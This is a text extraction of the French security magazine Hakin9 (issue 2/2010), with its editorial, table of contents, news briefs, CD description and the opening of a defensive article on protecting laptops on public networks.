hakin9_2_2010_FR

84

Transcript of hakin9_2_2010_FR

Page 1: hakin9_2_2010_FR
Page 2: hakin9_2_2010_FR
Page 3: hakin9_2_2010_FR

3 HAKIN9 2/2010

SÉCURITÉ WEB & RÉSEAUXAujourd’hui, Internet est devenu la source de prédiléction des attaques qui visent à voler l’identité, les données bancaires voire de l’argent. Vu le nombre exorbitant d’attaques sur les serveurs ou sites web, la notion de sécurité des systèmes informatiques et surtout de sécurité WEB reste au coeur des préoccupations des internautes. Dans le présent numéro de Hakin9, je vous invite à découvrir notre dossier sur la Sécurité WEB & Réseaux qui répond à la volonté des intenautes de s’en protéger.

Je vous propose la lecture de l’article Précautions extrêmes dans les réseaux publics qui vous permettra de connaître les risques relatifs à l’utilisation des réseaux inconnus. L’article vous donne plein de conseils pour protéger très sérieusement votre ordinateur portable.

Dans l’article Root distant pour un périphérique réseau , vous prendrez connaissance de dif férents problèmes de sécurité caractéristiques des périphériques réseau. Toujours dans le même esprit de protection sur le WEB, je vous invite à lire l’article qui porte sur la sécurité des serveurs, principales cibles d’attaques sur le Web. Je vous recommande également l’article sur le vol de données bancaires par la méthode de plus en plus répandue : l’électro-skimming. Grâce à cet article, vous connaîtrez les techniques destinées à écouter les entrées au clavier pour les intercepter.

Les passionnés des téléphones portables apprécieront l’article sur la sécurité des Iphones. Découvrez les premiers virus sous Iphone et les faiblesses de Jailbreak, virus qui met en danger la confidentialité de vos données.

Enfin, les linuxiens n’ont pas été oubliés : l’article Accroître la sécurité avec SELinux leur fera découvrir la solution idéale pour tout serveur exposé sur Internet : SELinux.

Bonne lecture à tous ,Rédactrice en chef

Aneta [email protected]

ÉDITORIAL

Page 4: hakin9_2_2010_FR

SOMMAIRE

4 HAKIN92/2010

SOMMAIRE

5 HAKIN9 2/2010

DOSSIER10 Précautions extrêmes dans les réseaux publics

WOJCIECH SMOLEtes-vous conscients des risques que vous encourez en utilisant les ressources des réseaux informatiques étrangers ? Pensez-vous à la sécurité de vos données stockées sur votre ordinateur ? De nos jours, protéger son ordinateur portable connecté à un réseau public inconnu devient indisponsable vu le nombre de risques que tout utlisateur encourt. Dans cet article, vous allez connaître les bonnes pratiques et les outils pour déployer une stratégie de défense efficace.

18 Serveurs Dédiés : protégez- vous des attaques sur le Web

SEBASTIEN DUDEKLes serveurs sont très souvent les cibles numéro un des attaques WEB. Dans cet article, nous allons aborder la question de la sécurité qui passera par l'identifiaction des vecteurs d'attques et des vulnérabilités. Vous allez découvrir également les dif férents types d'attques après une analyse.

26 Root distant sur un périphérique réseau

MICHAL SAJDAKEtes-vous sûr que votre réseau local n'est pas utilisé dans un botnet ennemi ? L'auteur de cet article vous présentera plusieurs problèmes de sécurité caractéristiques pour les périphériques réseaux et vous expliquera commenr accéder à distance au compte root dans un système d'expolitation sur le routeur de la classe SOHO. Finalement, vous allez apprendre comment se protéger contre différents types d'attques effectuées sur les périfériques réseaux.

FOCUS32 Les premiers virus Iphone sont là !

REMI LAURENTNous allons vous faire connaître les noms de deux virus sous Iphone qui mettent en danger la confidentialités de vos données. Grâce à cet article, vous allez savoir comment les virus expoitent les vulnérabilités des informations stockées sur Iphone. Enfin, vous allez découvrir comment s'en protéger !

38 Accroître la sécurité avec SELinux

REGIS SENETDe nombreuses entreprises déclarent avoir souffert de lourdes pertes financières suite à une attaque ou un problème technique liés à leurs systèmes d’information. Il est possible qu'une personne mal intentionnée ait mis en évidence des failles de sécurité sur un serveur web. Pour éviter tout cela, il existe des éléments de sécurité à installer en amont : SELinux est une solution de plus en plus répandue, que ce soit chez les professionnels ou même chez les particuliers. Nous allons donc vous présenter un peu plus en détail SELinux, les mécanismes de la sécurité mise en place, la fiabilité de ce système et enfin et son installation.

ATTAQUE42 Attque IP Spoofing

REGIS SENETLa technique de l’IP Spoofing appelée aussi l'usurpation d'adresse IP est une attaque informatique qui consiste à remplacer l'adresse IP de l'expéditeur d'un paquet IP par l'adresse IP d'une autre machine. Dans l'article de Régis Senet, vous allez découvrir comment se passe IP Spoofing et les moyens pour s'en protéger. L'article à ne pas manquer surtout pour les débutants !

Page 5: hakin9_2_2010_FR

SOMMAIRE

4 HAKIN92/2010

SOMMAIRE

5 HAKIN9 2/2010

46 La sécurité des flux SMTP en entreprise

TONY FACHAUXDe nos jours, les emails représentent le principal canal de communication d'une société. Comment sécuriser les flux SMTP au sein d'un système d'information ? Le présent article vous montrera les menaces acutelles liées aux mails et comment filtrer le trafic SMTP d'une entreprise.

52 Electro-skimming : Fuites électriques d'information

MARIUSZ GIBKIUne nouvelle méthode pour soutirer l'argent de votre carte de crédit risque de prendre de l'ampleur. Elle consiste à réaliser une écoute qui vise à intercepter les entrées au clavier. Découvrez le fontionnement et les types d'attques !

56 Informatique légale sous Windows 7

WOJCIECH SMOLL'informatque légale se concentre principalement sur la collecte et la protéction des preuves numériques des crimes. L'apparition d'un nouveau système d'exploitation constitue un grand défi pour le domaine d'informatique criminel. Découvrez dans cet article les mécanismes et les outils permettant d'effectuer des investigations numériques sous Windows 7.

PRATIQUE64 SSL Defeating

DAVID TORTELAujourd’hui le protocole de sécurisation SSL est utilisé afin d’assurer chiffrement, authenticité et intégrité d’une trame transmise sur la toile. Très convoitées par les personnes malveillantes, les vulnérabilités d’un tel protocole donnent accès à des privilèges dangereux. Cet article tente de rappeler les différentes étapes de ce protocole de sécurisation avant d’en dessiner certaines faiblesses.

72 Sécurité des mots de passe dans les fichiers PDF

ALEXANDE LACANPrenez-vous soin de vos mots de passe dans les fichiers PDF ? Sont-ils suffisamment complexes et assez longs pour faire face aux outils et hackers qui tenteront de craquer votre mot de passe ? Cet article vous explquera les différents niveaux de mots de passe d'un fichier PDF et les types d'attques sur PDF. Cet article est également accompagé d'une présentation vidéo sur le CD joint au magazine. Sur la vidéo, vous allez découvrir comment se passe l'attque et crackage d'un mot de passe d'un fichier PDF.

TECHNIQUE76 FreeBSD Local r00t exploit

REMI LAURENTFreeBSD est le système d’exploitation de la famille des BSD le plus utilisé en tant que serveur. Sa philosophie consiste à apporter le maximum d’efficacité tout en gardant un haut niveau de sécurité. Cependant, un exploit a été divulgué par Kingcope fin Novembre. Vous allez pouvoir connaître cet exploit bien oldschool permettant une escalade de privilèges pour devenir root. Dans cet article vous allez découvrir ce que c'est que LD_Preload, l'expoloitation d'une vulnérabilité applicative et ce que permet la variable LD_Preload.

VARIA6 En Bref

Découvrez les nouvelles du monde informatique et de la sécurité des systèmes informatiques.

8 Sur le CDNous présentons le contenu de notre principale distribution Hakin9 ainsi que la description des vidéos.

Page 6: hakin9_2_2010_FR

6 HAKIN9 2/2010

EN BREF

7

NEWS

HAKIN9 2/2010

EN BREFHADOPILe ministre de la Culture Frédéric Mitterrand a confirmé que Hadopi - la haute autorité pour la dif fusion des oeuvres et la protection des droits sur Internet, a enfin commencé à fonctionner. Le temps de l'envoi des premiers avertissements aux quelques téléchargeurs qui passeront dans les filets d'Hadopi au printemps, au pire en juillet 2010 - n'a pas été annoncé qu'en janvier 2010.

Le dernier obstacle pour que l’Hadopi ait la voie totalement libre est l'opinion de la CNIL sans lequel le décret dont a besoin l'autorité pour être ef ficace ne peut pas être publié. La CNIL a déja retardé la mise en travail d' Hadopi en exigeant d'obtenir un projet de décret concernant la procedure de sanction appliquée aux téléchargeurs. Mais à part de ces dif ficultés, cette autorité est désormais prête à commencer son travail.

WIFI EN SÉCURITÉL'état de la sécurisation des points d'accès est loin d'être satisfaisante, notamment dans le grand public – alarme la société WeFi, agrégateur de points d'accès WiFi. Selon ses études 25% des réseaux européens sont protégés par aucun mot de passe, ce qui veut dire qu'un utilisateur sur quatre ne prend pas la peine de crypter son accès (clé WEP et WPA.)

Ce résultat est inquiètant en tenant compte que le WiFi est aujourd'hui presque partout utilisé personnellement ou professionnellement.

La société WiFi a constaté que les réseaux les plus sécurisés se trouvent en Allemagne et en Espagne (90% des réseaux sécurisés), la France a le résultat de 80% de sécurisation. C'est donc au-dessus de la moyenne européenne. La situation en Europe se présente quand même mieux qu'aux États-Unis, où 40% des réseaux WiFi ne sont pas protégés.

Dans le domaine des réseaux WiFi professionnels, la tendance est assez similaire. Selon une étude de RSA, en 2004 à Paris 68% des points d'accès

professionnels ont été sécurisés par WPA, pendant qu'aujourd'hui leur nombre atteint 72%.

FLASH DANS L'IPHONE ?Selon AppleInsider, Apple planifie en 2010 d' obtenir quelques dizaines de millions de flash à base de LED. La technologie Luxeon LED de Philips limiterait peut-être l'intérêt des applications de lampe de poche disponibles en grand nombre sur l'App Store. Son avantage principale est la possibilité d'un éclairage continu en prenant de vidéos en situation d'éclairage faible.

Jusqu'à présent l'absence de flash était le désavantage de l'iPhone marqué le plus souvent depuis son apparance. Il est possible qu'avec la prochaine version de son produit la firme de Cupertino surpassera sa concurrence: Droid/Milestone, le Pré ou le Nexus.

RAPPORT DES MENACES La communauté de jeu en France est toujours menacée par de gros volumes de Troyens Win32/PSW.OnlineGames. Comme l'a montré ESET ThreatSense.Net ®, le système statistique d'analyse de données relatives aux malwares, ce type de menace représente une part de 8,87% de tous les logiciels malveillants détectés en France. En volant des données d'authentification pour les jeux en ligne, Win32/PSW.OnlineGames est

un outil qui permet aux cybercriminels de monétiser leurs ef forts sur le marché noir.

Le dernier mois de l'année 2009 voit INF/Autorun une fois encore à la deuxième position. Ce type de menace modifie le fichier autorun.inf enregistré sur les supports amovibles, permettant ainsi d’exécuter des applications, nuisibles lors de l'insertion des médias dans l'ordinateur. Suivant dans le classement, Win32/Mabezat, un cheval de Troie ciblant les sites web en langue arabe. En Décembre, il a représenté 5,56% de tous les logiciels malveillants, rapportés par ESET ThreatSense.Net ®.

Win32/Conficker est un autre habitué des statistiques de menaces françaises. Avec 4,78%, le ver occupe la quatrième position. Le top 5 se conclut avec Win32/Sality. Contrairement à la plupart des logiciels malveillants – constitués habituellement d'un seul code malveillant - Win32/Sality est un corrupteur de fichiers, qui implique le nettoyage des fichiers infectés. Au mois de Décembre, ce virus a représenté 3,10% de toutes les détections.

Principales menaces d'ordinateurs en France selon ESET ThreatSense.Net® (décembre 2009)

ORDIANTEUR SANS CLAVIER ?MSI présente des prototypes d'ordinateurs portables où le clavier a été remplacé par un second écran.

Page 7: hakin9_2_2010_FR

6 HAKIN9 2/2010

EN BREF

7

NEWS

HAKIN9 2/2010

EN BREF

MSI propose des ordinateurs portables sans clavier. En effet, toutes les fonctionnalités du claiver s repris un second écran qui peut se transformer en clavier tactile. Voici quelques usages :

• en tant que portable• tablette de dessin• e-book

MSI expose sur son stand également le Jellow, un autre prototype d’ordinateu. Doté d’un écran Full HD de 23 pouces, le Jellow embarque un clavie caché derrière cet écran. La souris pourra servir de télécommande, ou de téléphone. Reste à savoir si le constructeur envisagera de commercialiser ce produit .

MISSION DE ZELNIKEn septembre 2009, la commission Zelnik a reçu la mission de compléter les mresures prévues par la loi Hadopi. L'idée est de mettre en place une taxte sur les revenus de la publicité en ligne en visant notamment les géants : Google, Microsoft et Yahoo. Comme on pouvait s'en douter, la mission de Zelnik suscite des réactions offusquées de la part des fournisseurs de services, visés par Nicolas Sarkozy qu'il juge coupables de favoriser une évasion fiscale .

L'ENCYCLOPÉDIE À 7,5 MILLIONS DE DOLLARS7,5 millions de dollars, c’est la somme record que l’encyclopédie en ligne Wikipédia a perçue en 2009. Constituée de dons faits de la part de lecteurs au site, cette somme va permettre de financer le site sans publicité en 2010.

Jimmy Wales, fondateur de Wikipédia l'explique ce phénomème en quelques mots : < Wikipédia n’est pas financée par la publicité, mais par vous. Wikipédia est le cinquième site Web le plus visité au monde, et vos dons financent nos serveurs et nos quelques employés. Vos dons permettent de conserver Wikipédia libre d’accès et sans publicité. Vos dons permettent d’offrir un accès libre à la connaissance aux quatre coins du monde>.

L’encyclopédie libre et gratuite a réuni la somme de 7,5 millions de dollars en seulement huit semaines. Avec les statistiques très promettants : 250 millions de visiteurs par mois et 14 millions d’articles dans 270 langues, Wikipédia est le cinquième site le plus visité au monde ! Il est le seul dans le haut du classement qui ne propose aucune publicité à ses utilisateurs, et il ne fonctionne que grâce à ces campagnes de dons.

Vidéo en Italie sous contrôleA partir du 27 janvier 2010, un décret

prévoit lobtention d'une 'autorisation afin de pouvoir dif fuser les images animées sur la Toile. On peut se demander si toute vidéo dif fusée sur Internet devra obenir un droit de dif fusion. Vraisemblablement, la mesure va être concerner les Web TV et sites de journaux. L'opposition italienne ne cesse pas de crier au scandale en évoquant l'argument de l'atteinte à la liberté d'expression sur le Web.

UNE PANNE GIGANTESQUE DANS 10 ANS ?Les consoles de jeux vidéo risquent de nous coûter cher dans 10 ans. Comme l'informe le cabinet Sia Conseil, les consoles pourront consommer de plus en plus d'électricité.

En se basant sur les études du cabinet de conseil Sia, en 2020, les consoles de jeux vidéo seraient tellement sollicitées que la consommation d'électricité annuelle en France pourrait dépasser les 700 gigawatt-heure (GWh). Cela représenterait la consommation annuelle d'une ville telle que Nice.

Que faire ? Changeons nos habitudes !

Cetaines consoles de jeux vidéo sont régulièrement épinglées comme Nintendo par Greenpeace. Quant à Wii, elle est moins gourmande en électricité.Certaines régions (par exemple Bretagne et Provence entre autres) sont davantage exposées à ce risuqe. En effet, ces consoles pourraient ébranler des systèmes électriques vulnérables lorsqu'elles seraient utilisées en même temps qu'autres appareils (télévisions évidemment, ordinateurs...).

Une inquiétante prévision de l'Agence internationale de l'énergie, qui s'attend à ce que la consommation de toutes ces machines triple d'ici 2030 à 1 700 térawatt-heure (Twh).Il est tepms d'y penser sérieusement, car c'est l'équivalent de la consommation actuelle des ménages américains et japonais

Page 8: hakin9_2_2010_FR

8 HAKIN9 2/2010

SUR LE CD

CD-ROM – HAKIN9.LIVE

BACKTRACK3Ce numéro du magazine hakin9 est proposée avec hakin9.live (accompagnée du CD BackTrack3). Cette distribution est riche en applications et autres plugins.

BackTrack3 est la distribution Linux live la plus per tinente dans le registre de la sécurité informatique. Sans aucune installation préalable, la plate-forme d'analyse peut être directement démarrée à par tir du CD-Rom et son contenu entièrement accessible en quelques minutes seulement. Outre les mises à jour et d'autres optimisations,

cet te version de BackTrack3 hakin9.live contient également des éditions spéciales d'applications commerciales parmi les plus intéressantes du moment. Elles sont préparées exclusivement à l'at tention toute par ticulière de nos lecteurs.

Pour pouvoir utiliser BackTrack3 hakin9.live, il vous suffit de démarrer votre ordinateur à partir du CD. Pour pouvoir utiliser les applications commerciales fournies, inutile de démarrer votre ordinateur à partir du CD : vous les trouverez dans le dossier baptisé Applications .

Chaque paquet, configuration de noyau et script contenu dans BackTrack3 est optimisé de manière à être utilisé par les experts en audits de sécurité et de tests d'intrusion. Les patchs de correction et autres scripts automatiques ont été ajoutés, appliqués ou développés de manière à proposer un environnement agréable, intuitif et prêt à l'emploi.

Les quelques nouvelles fonctionnalités de BackTrack3 sont présentées avec BackTrack3 hakin9.live. La fonctionnalité la plus importante est incontestablement l'utilisation du noyau 2.6. mis à jour à l'aide de plusieurs programmes de correction. Un support pour la carte sans fil Broadcom a également été rajouté et des pilotes WiFi ont été élaborés de manière à supporter les injections de paquets bruts. L'intégration du cadre d'application Metasploit2 et Metasploit3 est également disponible ainsi qu'un alignement permettant d'ouvrir des standards et des cadres d'applications tels que ISSAF et OSSTMM.

PDFCRACKPDFCrack est un petit outil Open Source (GNU/Linux) qui est destiné à craquer les mots de passe des documents PDF. Pour suivre pas à pas le craquage du mot de passe, il ne vous reste qu'à regarder la vidéo. Vous trouverez quelques conseils de protéction dans l'article d' Alexandre Lacan Sécurité des mots de passe dans les fichiers PDF.

Page 9: hakin9_2_2010_FR

11

HAKIN9.LIVE

HAKIN9 6/2008

S’il vous est impossible de lire le CD. et que ce dernier n’est pas endommagé physiquement, essayez de lire dans au moins 2 lecteurs différents.

En cas de problème avec votre CD, envoyez-nous un message à l’adresse suivante : [email protected]

Page 10: hakin9_2_2010_FR

10 HAKIN9 2/2010

DOSSIER

11 HAKIN9

PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

2/2010

DOSSIER

Le plus récent type d'ordinateur portable, le netbook, a eu un grand succès. Des modèles de plus en plus sophistiqués d'ordinateurs

miniatures poussent comme des champignons. Un netbook typique pèse environ un kilogramme et il est capable de travailler durant 10 heures avec une batterie. Tous ces points encouragent les fans des gadgets mobiles d'utiliser les mini ordinateurs portables dans toutes les situations. Par ailleurs, de plus en plus d'institutions publiques et privées partagent sur leurs terrains les réseaux informatiques avec et sans fil destinés à leurs visiteurs. Il est donc possible de voir des personnes naviguant sur Internet dans les cafés, les pubs, les gares, les aéroports ou les halls d'hôtels. Les utilisateurs qui utilisent les ressources des réseaux informatiques publics, sont-ils conscients des risques qu'ils encourent ? La plupart d'entre eux ne réfléchissent probablement pas un instant à la question de sécurité des données stockées sur leurs ordinateurs et envoyées lors d'utilisation d'un réseau étranger.

Derrière la ligne de l'ennemiQuels sont donc les risques encourus suite à l'uti-lisation des ressources dans un réseau informa-tique inconnu ? Énormes, bien évidemment ! Tout d'abord, nous ne disposons d'aucune connaissan-ce sur la configuration du réseau étranger, sur les appareils connectés ni sur les autres utilisateurs. Les risques les plus importants sont les possibi-lités :

WOJCIECH SMOL

CET ARTICLE EXPLIQUE...les risques relatifs à l'utilisa-tion des réseaux informatiques étrangers,

comment concevoir une stra-tégie de défense multi-niveaux pour protéger son ordinateur portable,

les outils supplémentaires pour protéger un ordinateur portable qui travaille dans un réseau inconnu,

les manières d'utiliser en toute sécurité son ordinateur dans les réseaux publics,

les bonnes pratiques dans l'administration du système d'exploitation et des applications utilisées.

CE QU'IL FAUT SAVOIR...connaître les notions relatives à l'administration des systèmes d'exploitation des familles Win-dows et Linux,

connaître les types élémentaires des attaques réseau.

• d'intervention physique par des tiers (vol, utili-sation temporaire de notre ordinateur portable, etc.),

• d'intercepter l'ensemble de notre trafic réseau, en particulier les logins et les mots de passe via les périphériques réseaux qui servent d'in-termédiaires dans la transmission ou d'autres ordinateurs qui fonctionnent dans le même ré-seau,

• d'intercepter les données stockées sur notre ordinateur par d'autres personnes qui se ser-vent du même réseau.

Le projet Wall of Sheep a bien démontré à quel point l'utilisation des réseaux publics était dange-reux et que le niveau de vigilance des utilisateurs avancés des ordinateurs était très bas. WoS est une idée très intéressante d'un groupe de hac-kers qui porte des valeurs éducatives particulières. Lors des conférences consacrées à la sécurité informatique, telles que Defcon ou Black Hat , un groupe de spécialistes analyse de manière pas-sive le trafic réseau dans le réseau informatique proposé aux invités. Les hackers ne crackent pas les protections, ne déchiffrent pas les algorithmes de chif frage. La seule chose qu'ils recherchent, ce sont les logins et les mots de passe envoyés dans un texte public à l'aide des protocoles réseau non chif frés. Il s'avère que même parmi les personnes intéressées par la sécurité d'informations se trou-vent des personnes inconscientes ou ignorantes des risques relatifs à l'utilisation de ce type de pro-

Degré de difficulté

Précautions extrêmes dans les réseaux publicsConnecter un ordinateur portable à un réseau informatique public inconnu est lié à un énorme risque. Toutes les opérations réseau effectuées sont susceptibles d'être écoutées par un tiers et nos données interceptées. Les risques peuvent être toutefois réduits grâce à une stratégie de défense complexe.

Page 11: hakin9_2_2010_FR

10 HAKIN9 2/2010

DOSSIER

11 HAKIN9

PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

2/2010

DOSSIERtocoles. Pendant chaque événement de ce type, les hackers réussissent à intercepter des dizaines d'identités numériques. Ces données sont ensuite publiées (logins entiers et mots de passe partiellement masqués) pendant la conférence sur une liste appelée Wall of Sheep. Les moutons ainsi piégés ont ensuite la possibilité de bénéficier des conseils des hackers pour savoir comment éviter ce type de risques et prendre connaissance des outils et des méthodes d'interception des mots de passe qu'ils avaient utilisés. Pendant la conférence Defcon 2005 à Las Vegas, les hackers ont réussi à intercepter les mots de passe appartenant à l'ingénieur Cisco Systems Inc. , à plusieurs employés de Ap-ple Computer Inc. et à un professeur de Harvard ! Voyons donc comment être plus malin que ce professeur lorsque vous utili-sez les réseaux publics.

Defence in DepthLa stratégie de protection des systèmes informatiques, connue comme Defence in Depth, consiste en une protection multi-niveaux des informations stockées dans le système. Il est conseillé de regarder dans un premier temps le sens premier du terme DiD. Il provient en effet du vo-cabulaire militaire et signifie une stratégie spécifique de défense contre les forces ennemies attaquant. Une défense tradi-tionnelle, qui fait concentrer toutes les for-ces sur la ligne de front, se brise si elle est interrompue dans un endroit et permet à l'ennemi de pénétrer en profondeur le ter-ritoire et d'entourer les autres troupes de défense. La tactique DiD consiste en re-vanche à répartir les unités de défense sur une zone plus large, en les regroupant en troupes, selon les fonctions défensives jouées, qui se complètent mutuellement. Bien que l'attaquant soit alors capable de briser plus rapidement la ligne de front re-lativement faible, il rencontrera au fur et à mesure qu'il avancera d'autres lignes de défense. Cette tactique, même si elle n'ar-rêtera pas l'ennemi, retardera sûrement son arrivée, ce qui constitue l'avantage principal de cette stratégie. Vous êtes sûrement nombreux à avoir eu recours à cette tactique pendant des batailles virtuelles dans les jeux de stratégie sur l'ordinateur !

La tactique DiD a été adaptée à la protection des systèmes informatiques et est devenue l'une des plus efficaces et plus utilisées à nos jours. DiD consiste à créer plusieurs niveaux de protection d'un système informatique. À l'instar du front, si l'intrus surmonte l'une des bar-rières, il trouvera une nouvelle protection. Cette démarche augmente la probabilité de détecter l'attaquant, crée la possibilité d'utiliser des moyens de protection sup-plémentaires et retarde considérablement une attaque.

En réfléchissant aux moyens de pro-tection efficaces d'un ordinateur branché à un réseau public inconnu, je voudrais proposer la stratégie de défense multi-niveaux, comme la manière la plus effi-cace pour réduire les risques encourus. En prenant en considération la stratégie DiD, il faut aussi souligner que seule la présence simultanée de tous les niveaux (protections) proposés garantit la sécurité. L'absence d'une des barrières crée une faille dans l'ensemble du système de pro-tections et peut compromettre facilement le système protégé.

En créant la stratégie Defence in Depth pour le système qui doit être bran-ché à un réseau public inconnu, il faut créer les niveaux de protection suivants autour des données :

• conscience de l'utilisateur,• accès physique,• accès réseau au système,• système d'exploitation et applications

qui fonctionnent sous son contrôle,• accès aux données.

Tous les niveaux de protection, décrits en détails ci-dessous, doivent être créés avant de brancher le système au réseau public. Protéger le système pendant qu'il travaille dans un réseau étranger ou pire, en utilisant ses ressources (par exem-ple, téléchargement des mises à jours pour un logiciel et un système d'exploita-tion dans un réseau étranger) n'a aucun sens et crée un risque supplémentaire ! Le système doit donc être complètement protégé avant les événements qui néces-siteront un travail dans un réseau étranger (déplacement, participation à une confé-rence, etc.). Il est recommandé de l'adap-

ter de manière permanente à un travail dans un environnement hostile.

Conscience de l'utilisateur du systèmeLa beauté se trouve dans les yeux de celui qui regarde alors que la sécurité du sys-tème informatique repose dans l'esprit de son propriétaire. Un système informatique sûr n'existe pas si ses utilisateurs ne sont pas conscients des risques encourus.

La conscience des risques et la con-naissance des méthodes de protection des informations privées doivent toujours constituer le premier et, dans de nom-breux cas, le plus important niveau défen-sif de la stratégie Defence in Depth . Être conscient des risques encourus prend une signification toute particulière lorsque nous utilisons les ressources des réseaux étrangers.

Avant tout, si vous voulez accéder à Internet dans des endroits publics (aéro-ports, cybercafés, conférences), il ne faut jamais utiliser les ordinateurs partagés avec des tierces personnes ! Si vous allez dans un cybercafé, au lieu d'utiliser les or-dinateurs présents, demandez l'autorisa-tion de brancher votre ordinateur portable. Utiliser un ordinateur préparé par des tiers peut avoir, entre autres, les conséquences suivantes :

• nos logins, mots de passe et toutes les informations saisies à l'aide du clavier peuvent être interceptés par le keylogger logiciel ou matériel ins-tallé dans le système (il s'agit d'un programme ou d'un dispositif capable d'intercepter tous les caractères saisis sur le clavier),

• les mémoires flash (par exemple, pendrive) utilisées lors du travail sur un ordinateur étranger peuvent être infectées par des virus dangereux tout simplement en branchant la mémoire au système étranger. Par conséquent, ces virus peuvent être ensuite transfé-rés sur l'ordinateur personnel ou pro-fessionnel,

• toutes les données (photos, docu-ments, pièces jointes des messages électroniques, etc.) ouvertes, éditées ou enregistrées sur un ordinateur étranger peuvent être ensuite ouvertes

Page 12: hakin9_2_2010_FR

DOSSIER

12 HAKIN9 2/2010

PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

13 HAKIN9 2/2010

sans problème par des tierces person-nes, même après leur suppression.

Remarquez que même si le propriétaire d'un réseau étranger n'a pas de mauvai-ses intentions et n'espionne pas lui-même ses clients, le système que vous utilisez a pu être modifié ou infecté par l'un des utilisateurs. Si vous ne disposez pas d'un ordinateur portable ou si vous ne pouvez pas le prendre pour quelque raison que cela soit, préparez votre propre Live CD pour cette occasion. En utilisant un ordina-teur étranger, demandez si vous pouvez le démarrer en utilisant votre propre système d'exploitation lancé à partir d'un CD, par exemple, Knoppix . Utiliser un tel système d'exploitation vous permettra d'être sûr qu'il n'est pas modifié et ne contient aucun logi-ciel malveillant.

Ne pas utiliser un système d'exploita-tion étranger ne doit pas tromper votre vigi-lance. Vous n'êtes toujours pas en sécurité car le réseau étranger lui-même regorge de risques.

Avant tout, en utilisant les réseaux pu-blics, il faut absolument éviter de se servir des protocoles non chif frés, comme :

• Telnet,• HTTP,• SMTP,• SNMP,• POP3,• FTP.

Utiliser les protocoles énumérés ci-dessus, en particulier dans un réseau inconnu, est source de problèmes. Tous ces protocoles envoient des mots de passe sous forme

non chif frée. Cela signifie que tant l'opéra-teur du réseau étranger (en écoutant le tra-fic réseau transféré par les périphériques centraux du réseau, par exemple, en utili-sant la fonction Port Mirroring du commu-tateur réseau, autrement dit, la réplication de l'ensemble du trafic réseau de n'importe quel port sur un autre port choisi) que n'im-porte quel utilisateur (en utilisant l'attaque ARP Spoofing , n'importe quel client est ca-pable d'écouter le trafic réseau de toute une partie du réseau) peut connaître nos mots de passe par des méthodes assez simples.

La solution consiste malheureusement à renoncer complètement à utiliser ces protocoles dangereux dans les réseaux étrangers. Un service donné peut parfois être accessible via une autre interface plus sûre. À titre d'exemple, au lieu d'utiliser des messageries électroniques, un client électronique configuré pour travailler le plus souvent avec les protocoles POP3 et SMTP, il est recommandé d'accéder à votre compte via une interface Web si vous tra-vaillez dans un réseau étranger. La plupart des serveurs de messagerie proposent actuellement le support des message-ries au niveau du site Internet à l'aide d'une connexion chif frée HTTPS. Cette solution sera beaucoup plus sécurisée dans un réseau étranger.

Utiliser uniquement les protocoles chif-frés, comme HTTPS, n'autorise toutefois pas à moins de vigilance. La technique ARP Spoofing susmentionnée permet à un intrus d'effectuer des attaques très dangereuses, comme Man in the middle. L'attaque de ce type consiste à rediriger le trafic réseau entre deux parties de trans-

mission autorisées de manière à ce que l'ensemble du trafic passe par un point intermédiaire : l'ordinateur de l'intrus. Cette opération permet de participer aux trans-missions chif frées à l'aide des protocoles sécurisés, tels que SSL et SSH et en résul-tat, d'intercepter toutes les informations im-portantes (en particulier, les mots de passe d'accès aux services réseaux). Utiliser les protocoles sécurisés dans un réseau in-formatique inconnu peut donc s'avérer très dangereux surtout que le fait de chif frer les transmissions peut tromper la vigilance de l'utilisateur. Premièrement, il faut se rendre compte qu'aucune connexion n'est com-plètement sécurisée. Deuxièmement, il faut faire attention à certains signaux, parfois très subtiles, qui peuvent attester d'une at-taque en cours. Si notre connexion HTTPS passe par l'intermédiaire de l'ordinateur de l'intrus, il est fort probable que notre naviga-teur Internet affichera un avertissement lors d'une tentative de connexion. Il peut s'agir d'un message relatif à un certificat invalide du serveur, à une absence de signature ou à une confirmation par un centre de cer-tification autorisé. Lors d'une connexion SSH, une information sur le changement de la clé de l'hôte avec qui nous voulons nous connecter peut constituer ce signal d'avertissement. Il faut toujours prendre en considération ce type d'avertissement, en particulier, si vous utilisez un réseau étran-ger et arrêter immédiatement la connexion risquée. Une surcharge du réseau (suite à la multiplication du trafic par l'ordinateur de l'intrus) ou des problèmes temporai-res pour se connecter peuvent également constituer un autre symptôme de l'attaque ARP Spoofing en cours. Il est toutefois dif-ficile de distinguer ce type de symptômes des autres problèmes ordinaires dans le fonctionnement du réseau. La protection la plus efficace contre ce type d'attaques consiste à utiliser le logiciel IDS (Intrusion Detection System) ou de petits program-mes dédiés à détecter les attaques ARP.

Puisque nous parlons de la conscien-ce de l'utilisateur qui utilise des réseaux inconnus, mentionnons également la po-litique relative à la création des mots de passe d'accès à chaque type des servi-ces réseau. Chaque utilisateur de nom-breux services doit réfléchir à la politique de gestion de ses propres mots de passe. Figure 1. Risques détectés par le programme Secunia Personal Software Inspector

Page 13: hakin9_2_2010_FR

DOSSIER

12 HAKIN9 2/2010

PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

13 HAKIN9 2/2010

Utiliser un seul mot de passe pour tous les services est bien évidemment inad-missible. La solution la plus sûre consiste bien sûr à utiliser à chaque fois un autre mot de passe mais puisque le nombre de comptes qu'un utilisateur Internet ordinaire possède augmente sans cesse, cette so-lution n'est pas pratique et il est possible d'oublier des mots de passe vu toutes les informations à retenir. La solution la plus raisonnable consisterait donc à utiliser un seul mot de passe pour un type donné du service. À titre d'exemple, nous utilisons le même mot de passe (très puissant) pour tous nos comptes bancaires Internet, un autre mot de passe pour tous les comptes de messageries électroniques, un autre mot de passe encore pour tous les sites Internet nécessitant une connexion, etc. Un utilisateur avec 4 comptes de message-ries électroniques, 3 comptes bancaires et 7 portails nécessitant une connexion n'aura besoin de retenir que 3 mots de passe au lieu des 14 mots de passe à re-tenir s'il avait des mots de passe uniques. Cette réduction de mots de passe non seulement allège notre mémoire mais en plus, augmentera notre sécurité. Si le mot de passe des messageries électroniques est intercepté lors d'utilisation d'un réseau étranger, l'intrus ne disposera que de l'ac-cès à nos comptes de messageries et non aux comptes bancaires ou autres services importants.

